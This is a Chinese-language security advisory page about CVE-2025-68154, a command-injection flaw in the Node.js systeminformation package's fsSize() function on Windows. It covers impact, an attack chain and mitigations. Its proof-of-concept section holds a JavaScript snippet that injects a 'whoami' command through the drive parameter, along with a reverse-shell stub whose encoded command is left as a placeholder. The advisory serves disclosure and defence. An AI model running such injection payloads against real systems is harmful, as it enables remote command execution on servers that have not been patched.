IPBUF安全漏洞报告
English
CVE-2025-68154 CVSS 8.1 高危

CVE-2025-68154: systeminformation fsSize() Windows命令注入漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-68154
漏洞类型
命令注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
systeminformation

相关标签

命令注入systeminformationnpmNode.jsWindowsPowerShellCVE-2025-68154OS命令注入高危漏洞

漏洞概述

CVE-2025-68154是存在于systeminformation npm包中的一个高危安全漏洞。systeminformation是一个用于获取系统和操作系统信息的Node.js库。该漏洞影响版本5.27.14之前的所有版本,主要存在于Windows系统上的fsSize()函数中。漏洞的根本原因是该函数的drive参数未经任何消毒处理,直接被拼接到PowerShell命令中。当应用程序将用户可控的输入传递给fsSize()函数的drive参数时,攻击者可以通过构造恶意输入在Windows系统上执行任意操作系统命令。此漏洞的CVSS评分为8.1,属于高危级别,具有网络攻击向量,无需认证即可利用,对机密性、完整性和可用性均造成高影响。需要注意的是,如果应用程序不将用户控制的输入传递给fsSize()函数,则不会受到此漏洞的影响。开发者已在版本5.27.14中修复了此问题。

技术细节

该漏洞属于典型的OS命令注入问题,存在于systeminformation库的fsSize()函数中。在Windows系统上,该函数内部调用PowerShell命令来获取文件系统大小信息。问题出在将用户提供的drive参数直接拼接到PowerShell命令字符串中,没有任何输入验证或转义处理。攻击者可以通过构造包含PowerShell命令特殊字符和命令链的恶意drive参数,例如使用分号、管道符或&符号来注入额外的命令。由于该函数在Node.js应用中被广泛用于获取磁盘空间信息,如果应用直接将用户请求中的驱动器标识(如C:、D:等)传递给fsSize(),攻击者就可以在服务器上执行任意系统命令。修复方案需要对该参数进行严格的输入验证,确保只接受合法的驱动器标识符格式,或使用参数化方式传递参数而非字符串拼接。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用了存在漏洞的systeminformation库版本(<5.27.14),并确认应用在Windows环境运行
STEP 2
步骤2: 漏洞探测
攻击者分析应用功能,找出调用fsSize()函数且接受用户输入作为drive参数的代码路径
STEP 3
步骤3: 载荷构造
攻击者构造包含PowerShell命令的恶意drive参数,使用分号、管道符等特殊字符注入额外命令
STEP 4
步骤4: 命令执行
当带有恶意载荷的请求到达fsSize()函数时,未消毒的输入被拼接到PowerShell命令中执行
STEP 5
步骤5: 持久化控制
攻击者成功执行任意系统命令后,可部署后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const si = require('systeminformation'); // Malicious drive parameter that injects arbitrary command // This PoC demonstrates command injection via the drive parameter async function exploit() { try { // Attacker-controlled input containing command injection payload const maliciousDrive = 'C:; whoami > C:\\pwned.txt #'; // This will execute the injected command on Windows systems const result = await si.fsSize(maliciousDrive); console.log('Result:', result); } catch (e) { console.error('Error:', e.message); } } // Example with more dangerous payload async function exploitRCE() { try { // Reverse shell payload example const payload = 'C:; powershell -e "your encoded command here"'; const result = await si.fsSize(payload); } catch (e) { console.error(e); } } exploit();

影响范围

systeminformation < 5.27.14

防御指南

临时缓解措施
如果无法立即升级到修复版本,应采取以下临时缓解措施:1) 检查代码确保不将任何用户可控的输入直接传递给fsSize()函数的drive参数;2) 如果必须使用该函数,务必对drive参数进行严格的格式验证(如正则表达式匹配仅允许字母加冒号的驱动器格式);3) 在Web应用层增加输入过滤规则,阻止包含特殊字符的请求;4) 限制运行Node.js应用的系统账户权限,确保即使命令注入成功也无法执行高危操作;5) 监控和日志记录所有对fsSize()函数的调用以便及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表